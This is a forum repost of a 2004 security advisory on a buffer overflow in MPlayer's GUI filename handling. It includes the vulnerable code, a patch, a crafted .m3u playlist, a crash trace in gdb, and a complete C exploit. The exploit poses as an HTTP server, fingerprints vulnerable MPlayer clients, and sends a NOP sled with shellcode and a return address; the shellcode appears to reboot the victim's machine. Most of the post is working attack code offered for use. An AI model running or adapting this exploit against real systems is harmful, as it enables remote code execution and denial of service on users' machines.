firewall
In the zone
All versions of MPlayer, the movie player for Linux, are vulnerable to a buffer overflow attack that allows for privilege escalation. Local exploit included. Tested against Redhat Linux with Gnome, FreeBSD and latest cvsup plus ports with Gnome.
----- Happy Hacking.....
Code:
/*
*****************************************************************************************************************
$ An open security advisory #5 - MPlayer GUI filename handling overflow
*****************************************************************************************************************
1: Bug Researcher: [email]c0ntex@open-security.org[/email]
2: Bug Released: June 28th 2004
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Remote / Local
*****************************************************************************************************************
*****************************************************************************************************************
MPlayer Media Player
*www.mplayerhq.hu
MPlayer is a movie player for Linux (runs on many other Unices, and non-x86 CPUs, see Ports). It plays most
MPEG, VOB, AVI, OGG/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, FLI, RM, NuppelVideo, yuv4mpeg, FILM, RoQ, PVA,
Matroska files, supported by many native, XAnim, RealPlayer, and Win32 DLL codecs. You can watch VideoCD,
SVCD, DVD, 3ivx, RealMedia, Sorenson, Theora, and DivX movies too.
All versions of MPlayer, including the latest [MPlayer-1.0pre4] when compiled with GUI support are vulnerable
to a buffer overflow attack that will provide hostile code execution.
The MPlayer source requires explicit setting to enable the GUI, though support is enabled on a multitude of
default systems / setups, those I tested are below:
Tested OS:
Redhat Linux with Gnome
FreeBSD and latest cvsup + ports with Gnome
./MPlayer-1.0pre4/Gui/mplayer/common.c
inline void TranslateFilename( int c,char * tmp )
...
... snip
...
case STREAMTYPE_FILE:
if ( ( guiIntfStruct.Filename )&&( guiIntfStruct.Filename[0] ) )
{
if ( strrchr( guiIntfStruct.Filename,'/' ) ) strcpy( tmp,strrchr( guiIntfStruct.Filename,'/' ) + 1);
else strcpy( tmp,guiIntfStruct.Filename);
if ( tmp[strlen( tmp ) - 4] == '.' ) tmp[strlen( tmp ) - 4]=0;
if ( tmp[strlen( tmp ) - 5] == '.' ) tmp[strlen( tmp ) - 5]=0;
} else strcpy( tmp,MSGTR_NoFileLoaded );
POC fix purposes only.
[c0ntex@exploited MPlayer-1.0pre4]$ cat mplayer_gui.patch
--- Gui/mplayer/common.c 2003-03-20 12:42:09.000000000 +0000
+++ Gui-new/mplayer/common.c 2004-06-02 00:01:43.000000000 +0100
@@ -43,8 +43,8 @@
case STREAMTYPE_FILE:
if ( ( guiIntfStruct.Filename )&&( guiIntfStruct.Filename[0] ) )
{
- if ( strrchr( guiIntfStruct.Filename,'/' ) ) strcpy( tmp,strrchr( guiIntfStruct.Filename,'/' ) + 1 );
- else strcpy( tmp,guiIntfStruct.Filename );
+ if ( strrchr( guiIntfStruct.Filename,'/' ) ) strncpy( tmp,strrchr( guiIntfStruct.Filename,'/', ) + 1, 511 ); tmp[512]='\0';
+ else strncpy( tmp,guiIntfStruct.Filename, 511); tmp[512]='\0';
if ( tmp[strlen( tmp ) - 4] == '.' ) tmp[strlen( tmp ) - 4]=0;
if ( tmp[strlen( tmp ) - 5] == '.' ) tmp[strlen( tmp ) - 5]=0;
- } else strcpy( tmp,MSGTR_NoFileLoaded );
+ } else strncpy( tmp,MSGTR_NoFileLoaded, 511 ); tmp[512]='\0';
Attack choices:
1. Create my own fake HTTP listener and inject the phoney name. (Static)(POC)
2. Build my own MPEG / MP3 or other static media file and header information. (Mobile)
3. Create a media file that references another file by name. (Mobile)
Found in network.c is the following table of demux types:
extensions_table[] = {
{ "mpeg",DEMUXER_TYPE_MPEG_PS },
{ "mpg", DEMUXER_TYPE_MPEG_PS },
{ "mpe", DEMUXER_TYPE_MPEG_ES },
{ "avi", DEMUXER_TYPE_AVI },
{ "mov", DEMUXER_TYPE_MOV },
{ "qt", DEMUXER_TYPE_MOV },
{ "asx", DEMUXER_TYPE_ASF },
{ "asf", DEMUXER_TYPE_ASF },
{ "wmv", DEMUXER_TYPE_ASF },
{ "wma", DEMUXER_TYPE_ASF },
{ "viv", DEMUXER_TYPE_VIVO },
{ "rm", DEMUXER_TYPE_REAL },
{ "ra", DEMUXER_TYPE_REAL },
{ "y4m", DEMUXER_TYPE_Y4M },
{ "mp3", DEMUXER_TYPE_AUDIO },
{ "ogg", DEMUXER_TYPE_OGG },
{ "wav", DEMUXER_TYPE_AUDIO },
{ "pls", DEMUXER_TYPE_PLAYLIST },
{ "m3u", DEMUXER_TYPE_PLAYLIST }
};
of which m3u & pls playlists were used. MPlayer does not restrict the length of links for M3U playlist entries,
which is a nice feature. - .pls in the end turned out to be useless for me though. I have not checked the other
muxors, maybe with tricks like creating a large ID3 itag for mpg and the likes will be interesting...
[c0ntex@exploited MemPlayer-1.0pre4] mv test h0t_ladies.m3u
[root@darkside htdocs]# cat ./h0t_ladies.m3u
#EXTM3U
#EXTINF:0x00,Open Security Rocks - c0ntex at open-security dot org - visit *open-security.org
mp3_stash/Open-Security Rock[s]1.mpeg
#EXTINF:0x01,Open Security Rocks - c0ntex at open-security dot org - visit *open-security.org
mp3_stash/Open-Security Rock[s[]2.mpg
#EXTINF:0x01,Open Security Rocks - c0ntex at open-security dot org - visit *open-security.org
mp3_stash/Open-Security Rock[s[]3.mp3
#EXTINF:0x02,Open Security Rocks - c0ntex at open-security dot org - visit *open-security.org
mp3_stash/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[root@darkside htdocs]#
In my .m3u file, I embed 4 entries, the first three please the user with selected fine music from the Open-Security
MP3 archive, the 4th will crash MPlayer by placing the address 0x41414141 in EIP.
Edit ./mplayer.c in vi and comment out the line:
signal(SIGSEGV,exit_sighandler); // segfault
Test run:
[c0ntex@exploited MemPlayer-1.0pre4]$ ./gmplayer *open-security.org/pr0n/h0t_ladies.m3u
Using GNU internationalization
Original domain: messages
Original dirname: /usr/share/locale
Current domain: mplayer
Current dirname: /usr/local/share/locale
MPlayer 1.0pre4-3.2.2 (C) 2000-2004 MPlayer Team
...
...
Playing *192.168.1.1/members/secure/a/1/h0t_ladies.m3u.
Connecting to server 192.168.1.1[192.168.1.1]:80 ...
Cache size set to 8192 KBytes
Connected to server: 192.168.1.1
...
...
Playing *192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Connecting to server 192.168.1.1[192.168.1.1]:80 ...
Server returned 404: Access Denied
Unable to open URL: *192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Segmentation fault (core dumped)
[c0ntex@exploited MPlayer-1.0pre4]$ gdb ./gmplayer ./core.*
(gdb) i r eip esp
eip 0x41414141 0x41414141
esp 0xbfffc800 0xbfffc800
(gdb) i r
eax 0x84a3640 139081280
ecx 0x42006f24 1107324708
edx 0xff000000 -16777216
ebx 0x41414141 1094795585
esp 0xbfffc800 0xbfffc800
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) x/x 0xbfffc800
0xbfffc800: 0x41414141 <--- A represents our payload.
(gdb)
Worked a treat.
---
MPlayer bug discovered 28th May 2004
MPlayer bug research completed 29th May 2004
MPlayer developers contacted 1st June 2004
MPlayer bug public release 28th June 2004
No feedback at all from MPlayer team about this though I did find a post on their newsgroup:
*mplayerhq.hu/pipermail/mplayer-dev-eng/2004-June/026559.html
cheers
[email]c0ntex@open-security.org[/email]
*www.open-security.org
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define SUCCESS 0/* True */
#define FAILURE 1/* False */
#define A_BANNER"_MPlayer_MeMPlayer_Media_Mayhem_"
#define ALIGN0/* Stack address alignment */
#define BUFFER544/* Exactly overwrite EIP */
#define EIPWRT4/* Byte count for overwrite */
#define NOP0x90/* NoOp padding */
#define OFFSET0/* Offset from retaddr */
#define PORT80/* Listener port */
#define RETADDR 0xbfffcb9c/* Remote return address */
#define THREAT"MPlayer/1.0pre4-3.2.2" /* Latest vulnerable version */
#define example(OhNoo)fprintf(stderr, "Usage: ./memplayer -a <align_val> -o <offset_val>\n\n", OhNoo);
#define looking(OhYes) fprintf(stderr, "I'm looking for projects to work on, mail me if you have something\n\n", OhYes);
unsigned int i;
char payload[BUFFER];
void banner(void);
void die(char *ohnn);
int pkg_prep(int clisock_fd, int align, int offset);
int pkg_send(int clisock_fd, char *payload);
int main(int argc, char **argv);
char *http[] = {
"HTTP/1.0 200 OK\r\n",
"Date: Thu, 01 Jun 2004 12:52:15 GMT\r\n",
"Server: MemPlayer/1.0.3 (Linux)\r\n",
"MIME-version: 1.0\r\n",
"Content-Type: audio/x-mpegurl\r\n",
"Content-Length: 666\r\n",
"Connection: close\r\n",
"\r\n"
};
char *m3umuxor[] = {
"\x23\x45\x58\x54\x4D\x33\x55\r\n",
"\x23\x45\x58\x54\x49\x4E\x46\x3A"
"\x2E\x2c\x4F\x70\x65\x6E\x2D\x53"
"\x65\x63\x75\x72\x69\x74\x79\x2E"
"\x52\x6F\x63\x6B\x73\r\n",
"\r\n"
};
char opcode[] = {
0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,
0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80,
0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,
0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,
0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80
};
void
banner(void)
{
fprintf(stderr, "\n ** MPlayer_Memplayer.c - Remote exploit demo POC **\n\n");
fprintf(stderr, "[-] Uses m3u header reference to make MPlayer think it has a\n");
fprintf(stderr, "[-] valid media file then crafted package is sent, overflows\n");
fprintf(stderr, "[-] the guiIntfStruct.Filename buffer && proves exploit POC.\n");
fprintf(stderr, "[-] [email]c0ntex@open-security.org[/email] {} *www.open-security.org \n\n");
}
void
die(char *err_trap)
{
perror(err_trap);
fflush(stderr); _exit(1);
}
int
pkg_prep(int clisock_fd, int align, int offset)
{
unsigned int recv_chk;
long retaddr;
char chk_vuln[69];
char *pload = (char *) &opcode;
retaddr = RETADDR - offset;
fprintf(stderr, " -> Using align [%d] and offset [%d]\n", align, offset);
memset(chk_vuln, 0, sizeof(chk_vuln));
recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln) -1, 0);
chk_vuln[recv_chk+1] = '\0';
if(recv_chk == -1 || recv_chk == 0) {
fprintf(stderr, "Could not receive data from client\n");
}
if(strstr(chk_vuln, THREAT) || strstr(chk_vuln, "MPlayer/0")) {
fprintf(stderr, " -> Detected vulnerable MPlayer version\n");
}else{
fprintf(stderr, " -> Detected a non-MPlayer connection, end.\n");
close(clisock_fd);
_exit(1);
}
fprintf(stderr, " -> Payload size to send is [%d]\n", sizeof(payload));
fprintf(stderr, " -> Sending evil payload to our client\n");
memset(payload, 0, BUFFER);
for(i = (BUFFER - EIPWRT); i < BUFFER; i += 4)
*(long *)&payload[i] = retaddr;
for (i = 0; i < (BUFFER - sizeof(opcode) - 4); ++i)
*(payload + i) = NOP;
memcpy(payload + i, pload, strlen(pload));
payload[545] = 0x00;
return SUCCESS;
}
int
pkg_send(int clisock_fd, char *payload)
{
for (i = 0; i < 8; i++)
if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
die("Could not send HTTP header");
}fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);
for (i = 0; i < 3; i++)
if(send(clisock_fd, m3umuxor[i], strlen(m3umuxor[i]), 0) == -1) {
die("Could not send m3u header");
}fprintf(stderr, "\t- Sending valid m3u header..\n"); sleep(1);
if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
die("Could not send payload");
}fprintf(stderr, "\t- Sending payload package..\n");
return SUCCESS;
}
int
main(int argc, char **argv)
{
unsigned int align = 0, offset = 0, reuse = 1;
unsigned int port = PORT;
unsigned int cl_buf, opts;
signed int clisock_fd, sock_fd;
static char *exploit, *work;
struct sockaddr_in victim;
struct sockaddr_in confess;
if(argc < 2) {
banner();
example(exploit);
_exit(1);
}banner();
while((opts = getopt(argc, argv, "a:o:")) != -1) {
switch(opts)
{
case 'a':
align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
align = ALIGN;
offset = OFFSET;
}
}
if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
die("Could not create socket");
}
if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
die("Could not re-use socket");
}
memset(&confess, 0, sizeof(confess));
confess.sin_family = AF_INET;
confess.sin_port = htons(port);
confess.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
die("Could not bind socket");
}
if(listen(sock_fd, 0) == -1) {
die("Could not listen on socket");
}
printf(" -> Listening for a connection on port %d\n", port);
cl_buf = sizeof(victim);
clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);
fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));
if(pkg_prep(clisock_fd, align, offset) == 1) {
fprintf(stderr, "Could not prep package\n");
_exit(1);
}
if(pkg_send(clisock_fd, payload) == 1) {
fprintf(stderr, "Could not send package\n");
_exit(1);
}
sleep(2);
fprintf(stderr, " -> Test complete\n\n");
close(clisock_fd); looking(work);
return SUCCESS;
}----- Happy Hacking.....
